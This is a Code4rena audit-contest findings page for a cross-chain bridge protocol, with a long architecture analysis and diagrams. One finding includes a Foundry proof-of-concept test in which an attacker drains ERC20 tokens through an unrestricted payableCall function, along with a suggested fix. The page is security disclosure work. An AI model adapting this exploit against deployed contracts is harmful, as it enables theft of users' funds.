Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 30/175
Findings: 2
Award: $243.44
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
All assets in the VirtualAccount can be stolen.
The VirtualAccount contract's payableCall
function has no caller restrictions, so anyone can call it and make the VirtualAccount execute an arbitrary contract call. It can also call non-payable functions if _call.value
is 0.
function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { uint256 valAccumulator; uint256 length = calls.length; returnData = new bytes[](length); PayableCall calldata _call; for (uint256 i = 0; i < length;) { _call = calls[i]; uint256 val = _call.value; // Humanity will be a Type V Kardashev Civilization before this overflows - andreas // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256 unchecked { valAccumulator += val; } bool success; if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData); if (!success) revert CallFailed(); unchecked { ++i; } }
This is the PoC to steal the ERC20 deposited in the VirtualAccount. Add import "@omni/interfaces/IVirtualAccount.sol";
at top of MulticallRootRouterTest.t.sol file, and try this test function.
function testVirtualAccountAccess() public { address attacker = address(0xDEADBEEF); avaxNativeToken.mint(userVirtualAccount, 1 ether); // Virtual account has ERC20 require(avaxNativeToken.balanceOf(userVirtualAccount) == 1 ether); hevm.startPrank(attacker); Call[] memory calls = new Call[](1); // call will be failed by requiresApprovedCaller modifier hevm.expectRevert(abi.encodeWithSignature("UnauthorizedCaller()")); IVirtualAccount(userVirtualAccount).call(calls); require(avaxNativeToken.balanceOf(userVirtualAccount) == 1 ether); PayableCall[] memory payableCalls = new PayableCall[](1); payableCalls[0] = PayableCall({target: address(avaxNativeToken), value: 0, callData: abi.encodeWithSelector(bytes4(0xa9059cbb), attacker, 1 ether)}); // payableCall will not be failed IVirtualAccount(userVirtualAccount).payableCall{value:0}(payableCalls); require(avaxNativeToken.balanceOf(userVirtualAccount) == 0); require(avaxNativeToken.balanceOf(attacker) == 1 ether); hevm.stopPrank(); }
Manual Review
Add requiresApprovedCaller
modifier at payableCall
function.
Access Control
#0 - c4-pre-sort
2023-10-08T14:12:42Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:53:35Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:30:06Z
alcueca marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0xHelium, 0xSmartContract, 0xbrett8571, 0xsagetony, 33BYTEZZZ, Bauchibred, K42, Littlebeast, LokiThe5th, Oxsadeeq, SAAJ, Sathish9098, ZdravkoHr, albertwh1te, alexxander, catellatech, chaduke, hunter_w3b, ihtishamsudo, invitedtea, jauvany, klau5, kodyvim, lsaudit, pavankv, pfapostol, yongskiws
243.335 USDC - $243.33
Root chain is the virtual chain that manages the whole bridging service. Branch is EVM-based chain that uses the bridging service.
Root is operated at Arbitrum chain, but ‘Root chain’ doesn’t mean Arbitrum chain. Arbitrum chain also treats as one of its branches and is separate from the management features.
hToken is a token for managing bridged assets, which is matched 1:1 with the underlying token deposited in the bridge.
There are two types of hTokens: branch hTokens and root hTokens.The root hToken is also known as the global token, which is minted only when the underlying token is deposited at branch bridge.
The branch hToken can be received when requesting bridging from the root chain to a branch chain, if user choose to receive it as an hToken rather than an underlying token.
Here's an example. You want to bridge a token called USDC. The existing USDC token is the underlying token.
USDC tokens exist on both the Ethereum and Polygon chains. However, even though they are the same USDC token, the bridge system manages them separately on each chain, and you should think of them as two different, independent tokens.
A global token is created for each chain's USDC (Underlying token), and if you bring Ethereum's USDC to Polygon, it will be minted as a branch hToken token. (See Polygon's blue Ethereum USDC branch hToken minted)
Branch hTokens do not need to exist on every chain. If you want to move Polygon's USDC to Ethereum but there is no branch hToken for Polygon USDC, you can first requesting to deploy a Polygon USDC branch hToken, and second move your Polygon USDC into Ethereum as branch hToken.
Arbitrum does not have a branch hToken, but uses the Root hToken(global token) directly. Because it operates on the same chain, it can be minted/burned directly without going through LZ.
One Virtual Account contract per user address is assigned to the root chain. For example, if you use an EOA to bridge tokens to the root chain, it transfers or mints global token to the Virtual Account contract owned by that EOA.
The Virtual Account can only be accessed by a preregistered Router contract or EOA. By putting a payload into the virtual account, you can make contract do arbitrary contract call and send/receive NFTs.
The user requests bridging by calling a function on the Router or Bridge Agent.
The Bridge Agent is responsible for receiving the user's request and passing it to the LayerZero endpoint, or receiving and processing messages from the LayerZero endpoint.
The Bridge agent executor is called when a bridging request comes in. It is responsible for giving the bridged token and passing the task to the Router if further action is required.
Port manages deposited underlying token and hToken. There is one Port for each chain, and it stores the underlying token deposited by the user for bridging and manages the hToken.
Each chain has one Core bridge agent/bridge agent executor/router, and many regular bridge agent/bridge agent executor/router sets which using customized routers.
If a user wants to integrate their own logic into the bridge, they can deploy an agent, agent executor, and router to root and branch. The agent and agent executor are generated by the factory, while the router can be customized and deployed by the user. User can add the desired tasks to the router to integrate with the bridge.
A user-deployed root agent needs a branch agent to communicate with it. They should be deployed in pairs.
Move tokens from the branch chain to the root chain. If a user passes some payloads as a parameter, user can do extra work like swap, and move it to another branch chain.
If user moves branch hToken to the root chain, the branch hToken will be burned. For the underlying token, it is deposited to the Branch Port.
sequenceDiagram actor User User->>BranchRouter: callOutAndBridge() BranchRouter->>BranchRouter: _transferAndApproveToken() alt _amount - _deposit > 0 BranchRouter->>BranchhToekn: safeTransferFrom(): Transfer user's hToken to router BranchRouter->>BranchhToekn: approve(): Approve to port end alt _deposit > 0 BranchRouter->>UnderlyingToken: safeTransferFrom(): Transfer user's underlying token to router BranchRouter->>UnderlyingToken: approve(): Approve to port end BranchRouter->>BranchBridgeAgent: callOutAndBridge() BranchBridgeAgent->>BranchBridgeAgent: _createDeposit() BranchBridgeAgent->>BranchPort: bridgeOut() BranchPort->>BranchPort: _bridgeOut() alt _amount - _deposit >0 BranchPort->>BranchhToekn: safeTransferFrom() BranchPort->>BranchhToekn: burn() end alt _deposit > 0 BranchPort->>UnderlyingToken: safeTransferFrom() end BranchBridgeAgent->>BranchBridgeAgent: _performCall() BranchBridgeAgent->>LZEndpoint: send()
This request is forwarded to the root chain via LayerZero. The root hToken (global token) is transfered from the port and sent to the router, or minted to the router.
If the user passes on additional payload, the router handles it. If you want to do a swap and re-bridge, the router can handle that.
sequenceDiagram LZEndpoint->>RootbridgeAgent: lzReceive() RootbridgeAgent->>RootbridgeAgent: lzReceiveNonBlocking(): 0x02(Call with Deposit) RootbridgeAgent->>RootbridgeAgentExecutor: executeWithDeposit() RootbridgeAgentExecutor->>RootbridgeAgentExecutor: _bridgeIn() RootbridgeAgentExecutor->>RootBridgeAgent: bridgeIn(): Send bridged token to router RootBridgeAgent->>RootPort: bridgeToRoot() alt _amount - _deposit > 0 (use local hToken) RootPort->>Root hToken: safeTransfer() end alt _deposit > 0 (deposited underlying token) RootPort->>Root hToken: mint end alt _payload.length > PARAMS_TKN_SET_SIZE (payload exist) RootbridgeAgentExecutor->>RootRouter: executeDepositSingle(): Execute user defined works end
If you want to move multiple tokens at once, you can use the Batch function. With the same logic, burn the branch hToken or deposit the underlying token to the branch port and pass a message to LZ.
sequenceDiagram actor User User->>BranchRouter: callOutAndBridgeMultiple() BranchRouter->>BranchRouter: _transferAndApproveMultipleTokens() loop Every asset BranchRouter->>BranchRouter: _transferAndApproveToken(): transfer hToken, underlying token from user end BranchRouter->>BridgeAgent: callOutAndBridgeMultiple(): Add 0x03(Call with multiple asset Deposit) payload BranchBridgeAgent->>BranchBridgeAgent: _createDepositMultiple() BranchBridgeAgent->>BranchPort: bridgeOutMultiple() loop Every asset BranchPort->>BranchPort: _bridgeOut(): transfer hToken, underlying token from router end BranchBridgeAgent->>BranchBridgeAgent: _performCall(): send payload to LZ BranchBridgeAgent->>LZEndpoint: send()
The rootchain side receives the message from LZ and give the tokens.
sequenceDiagram LZEndpoint->>RootbridgeAgent: lzReceive() RootbridgeAgent->>RootbridgeAgent: lzReceiveNonBlocking(): 0x03(Call with multiple asset Deposit) RootbridgeAgent->>RootbridgeAgentExecutor: executeWithDepositMultiple() RootbridgeAgentExecutor->>RootbridgeAgentExecutor: _bridgeInMultiple() RootbridgeAgentExecutor->>RootBridgeAgent: bridgeInMultiple(): Send bridged token to router loop every asset RootBridgeAgent->>RootBridgeAgent: bridgeIn() RootBridgeAgent->>RootPort: bridgeToRoot(): transfer or mint root hToken end alt length > PARAMS_END_OFFSET + (numOfAssets * PARAMS_TKN_SET_SIZE_MULTIPLE) (payload exist) RootbridgeAgentExecutor->>RootRouter: executeDepositMultiple(): Execute user defined works end
This should be requested from the branch core router. Call addGlobalToken
when you want to deploy a branch hToken for a global token already registered at the root. i.e. When you want to bridge Ethereum USDC to Polygon.
It can be called by anyone, so anyone can request the deploy of a branch hToken.
sequenceDiagram actor User User->>CoreBranchRouter: addGlobalToken(): 0x01(addGlobalToken) CoreBranchRouter->>CoreBranchAgent: callOut(): 0x01(Call without Deposit) CoreBranchAgent->>CoreBranchAgent: _performCall() CoreBranchAgent->>LZEndpoint: send()
This is passed to the root chain. The root chain sends a _receiveAddGlobalToken
message to the branch to authorize the deploy branch hToken.
sequenceDiagram LZEndpoint->>CoreRootBridgeAgent: lzReceive() CoreRootBridgeAgent->>CoreRootBridgeAgent: lzReceiveNonBlocking() CoreRootBridgeAgent->>CoreRootBridgeAgentExecutor: executeNoDeposit(): 0x01(Call without Deposit) CoreRootBridgeAgentExecutor->>CoreRootRouter: execute() CoreRootRouter->>CoreRootRouter: _addGlobalToken(): 0x01(addGlobalToken) CoreRootRouter->>CoreRootBridgeAgent: callOut(): Send 0x01(_receiveAddGlobalToken) CoreRootBridgeAgent->>CoreRootBridgeAgent: _performCall() CoreRootBridgeAgent->>LZEndpoint: send()
After receiving the message from root, the branch chain deploys the hToken contract and passes the deployed hToken address back to LZ to notify the root chain.
sequenceDiagram LZEndpoint->>CoreBranchBridgeAgent: lzReceive() CoreBranchBridgeAgent->>CoreBranchBridgeAgent: lzReceiveNonBlocking() CoreBranchBridgeAgent->>CoreBranchBridgeAgentExecutor: executeNoSettlement(): 0x00(System) CoreBranchBridgeAgentExecutor->>CoreBranchRouter: executeNoSettlement() CoreBranchRouter->>CoreBranchRouter: _receiveAddGlobalToken(): 0x01(_receiveAddGlobalToken) CoreBranchRouter->>hTokenFactory: createToken(): Deploy local hToken CoreBranchRouter->>CoreBranchBridgeAgent: callOutSystem(): 0x03(_setLocalToken) Send local hToken address CoreBranchBridgeAgent->>CoreBranchBridgeAgent: _performCall() CoreBranchBridgeAgent->>LZEndpoint: send()
After receiving the message, the root chain calls _setLocalToken
to store the issued branch hToken address in the Root port.
sequenceDiagram LZEndpoint->>CoreRootBridgeAgent: lzReceive() CoreRootBridgeAgent->>CoreRootBridgeAgent: lzReceiveNonBlocking() CoreRootBridgeAgent->>CoreRootBridgeAgentExecutor: executeSystemRequest(): 0x00(System) CoreRootBridgeAgentExecutor->>CoreRootRouter: executeResponse() CoreRootRouter->>CoreRootRouter: _setLocalToken(): 0x03(_setLocalToken) CoreRootRouter->>RootPort: setLocalAddress()
Deploy a new hToken to the branch, link the underlying token, and notify the root chain. The root chain deploys a global token (root hToken) that matches the created branch hToken.
sequenceDiagram actor User User->>CoreBranchRouter: addLocalToken(): send 0x02(addLocalToken) CoreBranchRouter->>hTokenFactory: createToken(): Deploy branch hToken CoreBranchRouter->>CoreBranchAgent: callOutSystem(): send 0x00(System) CoreBranchAgent->>CoreBranchAgent: _performCall() CoreBranchAgent->>LZEndpoint: send()
On the root side, it registers the deployed hToken and the underlying token address and deploys a global token (root hToken).
sequenceDiagram LZEndpoint->>CoreRootBridgeAgent: lzReceive() CoreRootBridgeAgent->>CoreRootBridgeAgent: lzReceiveNonBlocking() CoreRootBridgeAgent->>CoreRootBridgeAgentExecutor: executeSystemRequest(): 0x00(System) CoreRootBridgeAgentExecutor->>CoreRootRouter: executeResponse() CoreRootRouter->>CoreRootRouter: _addLocalToken(): 0x02(_addLocalToken) CoreRootRouter->>hTokenFactory: createToken(): deploy global token CoreRootRouter->>RootPort: setAddresses()
Only administrators can register a new chain. First, the contract must be deployed and the environment set up on the branch chain side. During the branch deployment, the branch hToken of the native token is deployed.
sequenceDiagram actor Deployer Deployer->>branchHTokenFactory: initialize(): Deploy native token's hToken Deployer->>branchPort: initialize() Deployer->>branchBridgeAgentFactory: initialize(): Deploy Branch Core Agent Deployer->>branchCoreRouter: initialize()
Register the chain information by calling RootPort's addNewChain
with the deployed native token address and contract information.
sequenceDiagram actor Deployer Deployer->>RootPort: addNewChain() RootPort->>hTokenRootFactory: createToken(): Deploy Global token(Root hToken) RootPort->>RootCoreBridgeAgent: syncBranchBridgeAgent(): Register branch core agent
To get your own custom router, you need the bridge agent/bridge agent executor/router set on the root and branches. First, deploy the bridge agent/bridge agent executor/router set in the root chain.
In order to add a Branch bridge agent of a specific Branch chain, the person who deployed the Root bridge agent (the Manager) must first allow this branch chain to be used.
sequenceDiagram actor Manager Manager->>RootBridgeAgent: approveBranchBridgeAgent(): Approve change of branch agent of that chain.
The manager then initiates the request by calling CoreRootRouter's addBranchToBridgeAgent
. The request is passed to the branch.
sequenceDiagram actor Manager Manager->>CoreRootRouter: addBranchToBridgeAgent(): Should Call by agent manager CoreRootRouter->>CoreRootBridgeAgent: callOut(): pass LZ CoreRootBridgeAgent->>CoreRootBridgeAgent: _performCall() CoreRootBridgeAgent->>LZEndpoint: send()
The request passed the LayerZero and calls the core branch agent. The new branch agent is deployed at _receiveAddBridgeAgent
, and then sends the new branch agent address to the rootchain.
sequenceDiagram LZEndpoint->>CoreBranchAgent: lzReceive() CoreBranchAgent->>CoreBranchAgent: lzReceiveNonBlocking(): 0x00(System request) CoreBranchAgent->>CoreBranchAgentExecutor: executeNoSettlement() CoreBranchAgentExecutor->>CoreBranchRouter: executeNoSettlement(): 0x02(_receiveAddBridgeAgent) CoreBranchRouter->>CoreBranchRouter: _receiveAddBridgeAgent(): Make payload to pass LZ CoreBranchRouter->>CoreBranchAgent: callOutSystem() CoreBranchAgent->>CoreBranchAgent: _performCall() CoreBranchAgent->>LZEndpoint: send(): 0x00(System request)
Receive messages from the root chain through the bridge. Finish by setting the branch agent address associated with the root agent. Once set, the branch agent cannot be changed.
sequenceDiagram LZEndpoint->>CoreRootBridgeAgent: lzReceive() CoreRootBridgeAgent->>CoreRootBridgeAgent: lzReceiveNonBlocking(): 0x00(System request) CoreRootBridgeAgent->>CoreRootExecutor: executeSystemRequest() CoreRootExecutor->>CoreRootRouter: executeResponse(): 0x04(_syncBranchBridgeAgent) CoreRootRouter->>RootPort: syncBranchBridgeAgentWithRoot()
36 hours
#0 - c4-pre-sort
2023-10-15T14:02:11Z
0xA5DF marked the issue as sufficient quality report
#1 - alcueca
2023-10-20T12:40:46Z
Excellent system description, excellent diagrams and clear description of functionality. Best of all reports on those areas. Unfortunately, nothing on any other section.
#2 - c4-judge
2023-10-20T12:40:53Z
alcueca marked the issue as grade-a